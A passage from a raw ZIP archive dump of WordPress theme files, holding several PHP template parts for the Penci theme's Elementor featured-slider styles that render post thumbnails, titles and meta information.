                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php
										if ( $show_viewscount ) {
											echo '<span class="feat-countviews">';
											echo penci_get_post_views( get_the_ID() );
											echo ' ' . penci_get_setting( 'penci_trans_countviews' );
											echo '</span>';
										}
										?>
										<?php echo penci_show_custom_meta_fields( [
											'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
											'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
											'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
											'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
											'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
										] ); ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 4 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     1w\oA2    <  elementor/modules/penci-featured-sliders/widgets/style-7.phpnu [        <?php
/**
 * Template part for Slider Style 7
 */

$post_thumb_size = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb-square';
$penci_is_mobile = penci_is_mobile();

	$post_thumb_msize = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : ?>
	<?php $i   = 1;
	$num_posts = $feat_query->post_count;
	while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
        <div class="item swiper-slide">
            <div class="wrapper-item wrapper-item-classess">
                <div class="penci-item-mag penci-item-<?php echo( $i % 4 ); ?>">
	                <?php do_action( 'penci_bookmark_post' ); ?>
					<?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(),$post_thumb_size,$post_thumb_msize ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $post_thumb_msize : $post_thumb_size ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider7-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>" class="overlay-icon-format lager-size-icon">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! $hide_categories && $show_cat ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $settings['cspost_enable'] || ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount || $show_meta_author ): ?>
                                    <div class="feat-meta">
										<?php if ( $show_meta_author ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! $meta_date_hide ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! $hide_meta_comment ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php
										if ( $show_viewscount ) {
											echo '<span class="feat-countviews">';
											echo penci_get_post_views( get_the_ID() );
											echo ' ' . penci_get_setting( 'penci_trans_countviews' );
											echo '</span>';
										}
										?>
	                                    <?php echo penci_show_custom_meta_fields( [
		                                    'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
		                                    'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
		                                    'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
		                                    'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
		                                    'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
	                                    ] ); ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
		<?php $i ++; endwhile;
	wp_reset_postdata(); ?>
<?php endif; ?>
PK     1w\u    =  elementor/modules/penci-featured-sliders/widgets/style-41.phpnu [        <?php
/**
 * Template part for Slider Style 41
 */
$image_size          = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-slider-full-thumb';
if ( penci_is_mobile() ) {
	$image_size = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';
}
$main_id  = 'fsm_' . rand();
$thumb_id = 'fst_' . rand();

$data_attr = '';
$data_attr .= ' data-auto="' . ( 'yes' == $settings['autoplay'] ? 'true' : 'false' ) . '"';
$data_attr .= ' data-autotime="' . ( $settings['auto_time'] ? intval( $settings['auto_time'] ) : '4000' ) . '"';
$data_attr .= ' data-speed="' . ( $settings['speed'] ? intval( $settings['speed'] ) : '600' ) . '"';
$data_attr .= ' data-loop="' . ( 'yes' == $settings['loop'] ? 'true' : 'false' ) . '"';

?>
<div class="penci-slider41-wrapper">
    <div class="penci-slider41-thumb-wrapper">
        <div class="penci-slider41-thumb penci-owl-carousel penci-owl-carousel-slider swiper" data-item="4"
             data-direction="vertical" data-desktop="4" data-tablet="3" data-mobile="3" data-margin="0"
             data-id="<?php echo $thumb_id; ?>"
             <?php echo $data_attr; ?>
             data-thumb="yes" data-height="false" data-loop="true" data-nav="false">
            <div class="penci-slider41-thumb-inner swiper-wrapper">
				<?php $thumbcount = 0;
				if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
                    <div class="item swiper-slide">

                    <div class="penci-slider41-t-item">

                        <div class="pcslider-41-img">
                        <div class="penci-image-holder"
                             style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $image_size ); ?>');"
                             href="<?php the_permalink(); ?>"
                             title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></div>
                        </div>
                        <div class="pcslider-41-ct">
                        <h3><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></h3>
                        </div>

                        </div>

                    </div>
				<?php endwhile;
					wp_reset_postdata(); endif; ?>
            </div>
        </div>
    </div>
    <div class="penci-slider41-main-wrapper">
        <div class="penci-slider41-main penci-owl-carousel penci-owl-carousel-slider swiper" data-nav="true"
             data-loop="true" data-thumbs-id="<?php echo $thumb_id; ?>" data-id="<?php echo $main_id; ?>" <?php echo $data_attr; ?>>
            <div class="swiper-wrapper">
				<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
                    <div class="item swiper-slide">
                        <a class="penci-slider41-overlay"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
                        <div class="item-inner-content">
                            <a class="penci-image-holder"
                               style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $image_size ); ?>');"
                               href="<?php the_permalink(); ?>"
                               title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>

							<?php if ( ! $center_box ): ?>
                                <div class="penci-featured-content">
                                    <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
										<?php if ( ! $hide_categories && $show_cat ): ?>
                                            <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
										<?php endif; ?>
                                        <h3><a href="<?php the_permalink() ?>"
                                               title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                        </h3>
										<?php if ( $settings['cspost_enable'] || ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount || $show_meta_author ): ?>
                                            <div class="feat-meta fade-in penci-fslider-fmeta">
												<?php if ( $show_meta_author ): ?>
                                                    <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                                href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
												<?php endif; ?>
												<?php if ( ! $meta_date_hide ): ?>
                                                    <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
												<?php endif; ?>
												<?php if ( ! $hide_meta_comment ): ?>
                                                    <span class="feat-comments"><a
                                                                href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
												<?php endif; ?>
												<?php
												if ( $show_viewscount ) {
													echo '<span class="feat-countviews">';
													echo penci_get_post_views( get_the_ID() );
													echo ' ' . penci_get_setting( 'penci_trans_countviews' );
													echo '</span>';
												}
												?>
												<?php echo penci_show_custom_meta_fields( [
													'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
													'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
													'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
													'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
													'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
												] ); ?>
                                                <?php do_action( 'penci_extra_meta' ); ?>
												<?php if ( get_the_excerpt() && ! $hide_meta_excerpt ): ?>
                                                    <div class="featured-slider-excerpt">
														<?php
														if ( get_theme_mod( 'penci_excerptcharac' ) ) {
															the_excerpt();
														} else {
															$excerpt_length = get_theme_mod( 'penci_post_excerpt_length', 30 );
															penci_the_excerpt( $excerpt_length );
														}
														?>
                                                    </div>
												<?php endif; ?>
                                            </div>
										<?php endif; ?>
                                        <div class="penci-featured-slider-button">
                                            <a href="<?php the_permalink() ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?></a>
                                        </div>
                                    </div>
                                </div>
							<?php endif; ?>
                        </div>
                    </div>
				<?php endwhile;
					wp_reset_postdata(); endif; ?>
            </div>
        </div>
    </div>
</div>PK     1w\U    =  elementor/modules/penci-featured-sliders/widgets/style-38.phpnu [        <?php
/**
 * Template part for Slider Style 38
 */

$post_thumb_size = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb-vertical';
$penci_is_mobile = penci_is_mobile();
if ( $penci_is_mobile ) {
	$post_thumb_size = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';
}
?>
<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
    <div class="item swiper-slide">
	    <?php do_action( 'penci_bookmark_post' ); ?>
        <a class="penci-slider38-overlay" href="<?php the_permalink(); ?>"></a>
        <a class="penci-image-holder"
           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $post_thumb_size ); ?>');"
           href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
        </a>
		<?php if ( ! $center_box ): ?>
            <div class="penci-featured-content">
                <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
					<?php if ( ! $hide_categories ): ?>
                        <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
					<?php endif; ?>
                    <h3><a href="<?php the_permalink() ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                    </h3>
					<?php if ( $settings['cspost_enable'] || ( get_the_excerpt() && ! $hide_meta_excerpt ) || ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount || $show_meta_author ): ?>
                        <div class="feat-meta">
							<?php if ( $show_meta_author ): ?>
                                <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
							<?php endif; ?>
							<?php if ( ! $meta_date_hide ): ?>
                                <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
							<?php endif; ?>
							<?php if ( ! $hide_meta_comment ): ?>
                                <span class="feat-comments"><a
                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
							<?php endif; ?>
							<?php
							if ( $show_viewscount ) {
								echo '<span class="feat-countviews">';
								echo penci_get_post_views( get_the_ID() );
								echo ' ' . penci_get_setting( 'penci_trans_countviews' );
								echo '</span>';
							}
							?>
	                        <?php echo penci_show_custom_meta_fields( [
		                        'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
		                        'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
		                        'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
		                        'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
		                        'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
	                        ] ); ?>
							<?php do_action( 'penci_extra_meta' ); ?>
							<?php if ( get_the_excerpt() && ! $hide_meta_excerpt ): ?>
                                <div class="featured-slider-excerpt"><p><?php $excerpt = get_the_excerpt();
										echo wp_trim_words( $excerpt, 20, '...' ); ?></p></div>
							<?php endif; ?>
                        </div>
					<?php endif; ?>
                    <div class="penci-featured-slider-button">
                        <a href="<?php the_permalink() ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?></a>
                    </div>
                </div>
            </div>
		<?php endif; ?>
    </div>
<?php endwhile;
	wp_reset_postdata(); endif; ?>
PK     1w\7<    =  elementor/modules/penci-featured-sliders/widgets/style-30.phpnu [        <?php
/**
 * Template part for Slider Style 30
 */

$post_thumb_size = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-slider-thumb';
$penci_is_mobile = penci_is_mobile();

	$post_thumb_msize = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
    <div class="item swiper-slide">
	    <?php do_action( 'penci_bookmark_post' ); ?>
		<?php if ( ! $disable_lazyload ) { ?>
            <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
               data-bgset="<?php echo penci_image_srcset( get_the_ID(), $post_thumb_size,$post_thumb_msize ); ?>"
               href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
		<?php } else { ?>
            <a class="penci-image-holder"
               style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $post_thumb_msize :$post_thumb_size ); ?>');"
               href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
		<?php } ?>

        <a href="<?php the_permalink() ?>" class="featured-slider-overlay"></a>
		<?php if ( ! $center_box ): ?>
            <div class="penci-featured-content">
                <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
					<?php if ( ! $hide_categories ): ?>
                        <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
					<?php endif; ?>
                    <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                    </h3>
                    <div class="penci-featured-slider-button">
                        <a href="<?php the_permalink() ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?></a>
                    </div>
                </div>
            </div>
		<?php endif; ?>
    </div>
<?php endwhile;
	wp_reset_postdata(); endif; ?>
PK     1w\W    =  elementor/modules/penci-featured-sliders/widgets/style-15.phpnu [        <?php
/**
 * Template part for Slider Style 15
 */

$post_thumb_size  = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb-vertical';
$bpost_thumb_size = ! empty( $bpost_thumb_size ) ? $bpost_thumb_size : 'penci-slider-thumb';
$penci_is_mobile  = penci_is_mobile();
?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $post_thumb_size;
				if ( $i % 3 == 2 ): $thumb = $bpost_thumb_size; endif;

				$sizep = 'small';
				if ( $i % 3 == 2 ): $sizep = 'normal'; endif;

				$thumb_mobile = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 3 ); ?> <?php echo( 2 == $i % 3 ? 'penci-pitem-big' : 'penci-pitem-small' ) ?>">
					<?php do_action( 'penci_bookmark_post', get_the_ID(), $sizep ); ?>
					<?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $post_thumb_size, $thumb_mobile ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $thumb_mobile : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format <?php if ( $i % 3 == 2 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( $i % 3 == 2 || $show_cat ): ?>
									<?php if ( ! $hide_categories ): ?>
                                        <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
									<?php endif; ?>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $settings['cspost_enable'] || ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount || $show_meta_author ): ?>
                                    <div class="feat-meta">
										<?php if ( $show_meta_author ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! $meta_date_hide ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! $hide_meta_comment ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php
										if ( $show_viewscount ) {
											echo '<span class="feat-countviews">';
											echo penci_get_post_views( get_the_ID() );
											echo ' ' . penci_get_setting( 'penci_trans_countviews' );
											echo '</span>';
										}
										?>
										<?php echo penci_show_custom_meta_fields( [
											'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
											'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
											'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
											'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
											'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
										] ); ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 3 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     1w\    =  elementor/modules/penci-featured-sliders/widgets/style-27.phpnu [        <?php
/**
 * Template part for Slider Style 27
 */

$post_thumb_size  = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb';
$bpost_thumb_size = ! empty( $bpost_thumb_size ) ? $bpost_thumb_size : 'penci-magazine-slider';
?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $post_thumb_size;
				if ( $i % 5 == 1 ): $thumb = $bpost_thumb_size; endif;
				$sizep = 'small';
				if ( $i % 5 == 1 ): $sizep = 'normal'; endif;
				$mobile_thumb = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';
				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 5 ); ?>  <?php echo( ( $i % 5 == 1 ) ? 'penci-pitem-big' : 'penci-pitem-small' ) ?>">
	                <?php do_action( 'penci_bookmark_post',get_the_ID(),$sizep ); ?>
                    <?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumb, $mobile_thumb ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>

                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>" class="overlay-icon-format">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! $hide_categories && $show_cat ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $settings['cspost_enable'] || ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount || $show_meta_author ): ?>
                                    <div class="feat-meta">
										<?php if ( $show_meta_author ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! $meta_date_hide ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! $hide_meta_comment ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php
										if ( $show_viewscount ) {
											echo '<span class="feat-countviews">';
											echo penci_get_post_views( get_the_ID() );
											echo ' ' . penci_get_setting( 'penci_trans_countviews' );
											echo '</span>';
										}
										?>
	                                    <?php echo penci_show_custom_meta_fields( [
		                                    'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
		                                    'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
		                                    'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
		                                    'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
		                                    'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
	                                    ] ); ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 5 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     1w\|    <  elementor/modules/penci-featured-sliders/widgets/style-9.phpnu [        <?php
/**
 * Template part for Slider Style 9
 */

$post_thumb_size = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb-square';
$penci_is_mobile = penci_is_mobile();

	$post_thumb_size_mobile = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : ?>
	<?php $i   = 1;
